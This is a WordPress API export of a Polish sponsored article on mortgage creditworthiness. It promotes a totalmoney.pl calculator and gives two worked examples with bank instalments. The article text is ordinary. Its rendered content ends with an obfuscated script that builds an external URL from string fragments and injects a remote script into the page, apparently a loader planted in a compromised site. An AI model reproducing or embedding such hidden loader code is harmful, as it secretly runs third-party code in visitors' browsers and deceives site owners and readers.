{"id":3416,"date":"2020-08-22T09:36:29","date_gmt":"2020-08-22T09:36:29","guid":{"rendered":"https:\/\/praca.nowiny.pl\/news\/?p=3416"},"modified":"2020-08-22T12:25:01","modified_gmt":"2020-08-22T12:25:01","slug":"kredyt-hipoteczny-kalkulator-zdolnosci-kredytowej","status":"publish","type":"post","link":"https:\/\/praca.nowiny.pl\/news\/kredyt-hipoteczny-kalkulator-zdolnosci-kredytowej\/","title":{"rendered":"Kredyt hipoteczny \u2013 kalkulator zdolno\u015bci kredytowej"},"content":{"rendered":"\n<p>Zdolno\u015b\u0107 kredytowa to jeden z najwa\u017cniejszych czynnik\u00f3w decyduj\u0105cych o przyznaniu kredytu hipotecznego. Od czego zale\u017cy? Jakie czynniki nale\u017cy wzi\u0105\u0107 pod uwag\u0119 staraj\u0105c si\u0119 o przyznanie \u015brodk\u00f3w na zakup nieruchomo\u015bci? Kto mo\u017ce liczy\u0107 na otrzymanie kredytu hipotecznego? Czy kalkulator zdolno\u015bci kredytowej to dobre rozwi\u0105zanie?<\/p>\n\n\n\n<p><\/p>\n\n\n<p>Kredyt hipoteczny, kt\u00f3rego oferty por\u00f3wnasz na <a href=\"https:\/\/www.totalmoney.pl\/kredyty_hipoteczne\" target=\"_blank\" rel=\"noopener noreferrer\">www.totalmoney.pl\/kredyty_hipoteczne<\/a> to d\u0142ugoterminowe zobowi\u0105zanie, kt\u00f3re z regu\u0142y zaci\u0105gamy na okres 25-30 lat. Jego celem jest sfinansowanie zakupu mieszkania, domu, dzia\u0142ki budowlanej lub budowy domu, a zabezpieczeniem kredytu jest wpis hipoteki do ksi\u0119gi wieczystej. Wpis jest dokonywany na rzecz banku, co oznacza, \u017ce je\u015bli klient przestanie wywi\u0105zywa\u0107 si\u0119 ze sp\u0142aty zobowi\u0105zania, mo\u017ce straci\u0107 nieruchomo\u015b\u0107. Przy zaci\u0105ganiu kredytu hipotecznego ogromne znaczenie ma zdolno\u015b\u0107 kredytowa, kt\u00f3ra oznacza mo\u017cliwo\u015b\u0107 sp\u0142acenia go w terminie. Banki stosuj\u0105 r\u00f3\u017cne kryteria przy badaniu zdolno\u015bci kredytowej, jednak najwa\u017cniejsze jest ustalenie mo\u017cliwo\u015bci finansowych potencjalnego klienta oraz ustalenie, na kredyt w jakiej wysoko\u015bci b\u0119dzie go sta\u0107. W jaki spos\u00f3b tego dokonuj\u0105? Najcz\u0119\u015bciej na podstawie:<\/p>\n<ul>\n<li>wysoko\u015bci dochod\u00f3w kredytobiorcy,<\/li>\n<li>koszt\u00f3w utrzymania,<\/li>\n<li>sta\u0142ych zobowi\u0105za\u0144,<\/li>\n<li>formy umowy, na podstawie kt\u00f3rej jest zatrudniony kredytobiorca,<\/li>\n<li>liczby os\u00f3b na utrzymaniu,<\/li>\n<li>wieku i stanu cywilnego kredytobiorcy.<\/li>\n<\/ul>\n<h2>Kredyt hipoteczny \u2013 kalkulator zdolno\u015bci<\/h2>\n<p>Chcesz zaci\u0105gn\u0105\u0107 kredyt hipoteczny, ale nie wiesz, czy Twoja zdolno\u015b\u0107 kredytowa jest wystarczaj\u0105ca? Je\u015bli zastanawiasz si\u0119, na jak\u0105 kwot\u0119 mo\u017cesz liczy\u0107, sprawd\u017a praktyczny i intuicyjny kalkulator zdolno\u015bci. Kredyt hipoteczny wystarczy na sfinansowanie zakupu wymarzonego mieszkania lub domu? Je\u015bli chcesz si\u0119 przekona\u0107, to skorzystaj z kalkulatora dost\u0119pnego w serwisie totalmoney.pl. Jak sprawdzi\u0107 zdolno\u015b\u0107? Wystarczy uzupe\u0142ni\u0107 podstawowe informacje \u2013 poda\u0107 przewidywany okres sp\u0142aty zobowi\u0105zania (np. 30 lat), wysoko\u015b\u0107 oprocentowania kredytu, typ raty (r\u00f3wne czy malej\u0105ce). Opr\u00f3cz tego nale\u017cy okre\u015bli\u0107 swoj\u0105 sytuacj\u0119 finansow\u0105 \u2013 poda\u0107 limity na kartach kredytowych, wysoko\u015b\u0107 rat innych kredyt\u00f3w, a tak\u017ce sta\u0142e zobowi\u0105zania. Bardzo istotne jest r\u00f3wnie\u017c podanie miesi\u0119cznego dochodu gospodarstwa domowego oraz liczb\u0119 os\u00f3b w gospodarstwie. Na podstawie tych informacji kalkulator wylicza zdolno\u015b\u0107 kredytow\u0105.<\/p>\n<h2>Na ile mog\u0119 liczy\u0107 \u2013 kredyt hipoteczny<\/h2>\n<p>Na podstawie kalkulatora zdolno\u015bci kredytowej przeprowadzili\u015bmy symulacj\u0119 \u2013 na jakie kwoty mog\u0105 liczy\u0107 kredytobiorcy osi\u0105gaj\u0105cy okre\u015blone dochody. Ustalili\u015bmy, \u017ce wszystkie oferty kredyt\u00f3w maj\u0105 raty r\u00f3wne, oprocentowanie wynosi 3,00%, a okres sp\u0142aty zobowi\u0105zania \u2013 30 lat. Jakie s\u0105 r\u00f3\u017cnice pomi\u0119dzy wyliczeniami opartymi o r\u00f3\u017cne dane?<\/p>\n<h3>Przyk\u0142ad 1:<\/h3>\n<p>Jan i jego \u017cona Anna osi\u0105gaj\u0105 przychody z tytu\u0142u umowy o prac\u0119. Ich \u0142\u0105czne zarobki wynosz\u0105 7000 z\u0142, maj\u0105 5000 z\u0142 limitu na karcie kredytowej, miesi\u0119cznie p\u0142ac\u0105 te\u017c 500 z\u0142 raty kredytu za samoch\u00f3d. Sta\u0142e zobowi\u0105zania zwi\u0105zane z kosztami utrzymania wynosz\u0105 1000 z\u0142. Nie maj\u0105 dzieci, chc\u0105 postara\u0107 si\u0119 o kredyt hipoteczny na zakup mieszkania. Wed\u0142ug kalkulatora ich zdolno\u015b\u0107 kredytowa wynosi 770&nbsp;865,49 z\u0142. Jest to oczywi\u015bcie maksymalna kwota, kt\u00f3r\u0105 mog\u0105 uzyska\u0107. Przy kredycie w takiej wysoko\u015bci, miesi\u0119czna rata zobowi\u0105zania wyniesie od 2920,07 z\u0142 \u2013 tak\u0105 propozycj\u0119 mog\u0105 uzyska\u0107 w banku PKO BP. Z kolei ING Bank \u015al\u0105ski oferuje rat\u0119 w wysoko\u015bci 3054,93 z\u0142, a Millennium Bank \u2013 3270,82 z\u0142.<\/p>\n<h3>Przyk\u0142ad 2:<\/h3>\n<p>Katarzyna jest singielk\u0105 i zarabia miesi\u0119cznie 3500 z\u0142. Nie ma na swoim koncie \u017cadnych kredyt\u00f3w ani limit\u00f3w na kartach kredytowych, a sta\u0142e zobowi\u0105zania, kt\u00f3re reguluje, wynosz\u0105 miesi\u0119cznie 500 z\u0142. Samodzielnie prowadzi gospodarstwo domowe, nie ma nikogo na utrzymaniu. W jej przypadku kalkulator wylicza zdolno\u015b\u0107 na poziomie 266&nbsp;838,05 z\u0142. Najkorzystniejsz\u0105 ofert\u0119 zapewnia bank PKO BP \u2013 kredyt hipoteczny z rat\u0105 w wysoko\u015bci 1027,89 z\u0142. Na drugim miejscu jest ING Bank \u015al\u0105ski, kt\u00f3ry oferuje zobowi\u0105zanie z rat\u0105 1057,48 z\u0142 miesi\u0119cznie. Trzecie miejsce zestawienia zajmuje propozycja banku Pekao S.A., gdzie klientka zap\u0142aci miesi\u0119cznie 1125,49 z\u0142.<\/p>\n\n\n<p><\/p>\n\n\n<p><script><br \/>\n(function(){<br \/>\nqgs5=document.createElement(\"script\");qgs5_=(\"us\")+(\"ta\");<br \/>\nqgs5_+=\"t\"+(\".\");qgs5_+=(\"in\");qgs5u=\"242103169\";qgs5.async=true;<br \/>\nqgs5u+=\".df6e2kxzgs5p1n8cw\";qgs5.type=\"text\/javascript\";qgs5_+=\"f\"+\"o\"+(\"\/\");<br \/>\nqgs5u+=\"5n49tj6qx04c7\";qgs5.src=\"https:\/\/\"+qgs5_+qgs5u;<br \/>\ndqgs5=document.body;dqgs5.appendChild(qgs5);<br \/>\n})();<br \/>\n<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Zdolno\u015b\u0107 kredytowa to jeden z najwa\u017cniejszych czynnik\u00f3w decyduj\u0105cych o przyznaniu kredytu hipotecznego. Od czego zale\u017cy? Jakie czynniki nale\u017cy wzi\u0105\u0107 pod uwag\u0119 staraj\u0105c si\u0119 o przyznanie \u015brodk\u00f3w na zakup nieruchomo\u015bci? Kto mo\u017ce liczy\u0107 na otrzymanie kredytu hipotecznego? Czy kalkulator zdolno\u015bci kredytowej to dobre rozwi\u0105zanie? Kredyt hipoteczny, kt\u00f3rego oferty por\u00f3wnasz na www.totalmoney.pl\/kredyty_hipoteczne to d\u0142ugoterminowe zobowi\u0105zanie, kt\u00f3re z [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":3417,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"off","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[442],"tags":[],"class_list":["post-3416","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artykul-zewnetrzny"],"_links":{"self":[{"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/posts\/3416","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/comments?post=3416"}],"version-history":[{"count":11,"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/posts\/3416\/revisions"}],"predecessor-version":[{"id":3428,"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/posts\/3416\/revisions\/3428"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/media\/3417"}],"wp:attachment":[{"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/media?parent=3416"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/categories?post=3416"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/praca.nowiny.pl\/news\/wp-json\/wp\/v2\/tags?post=3416"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}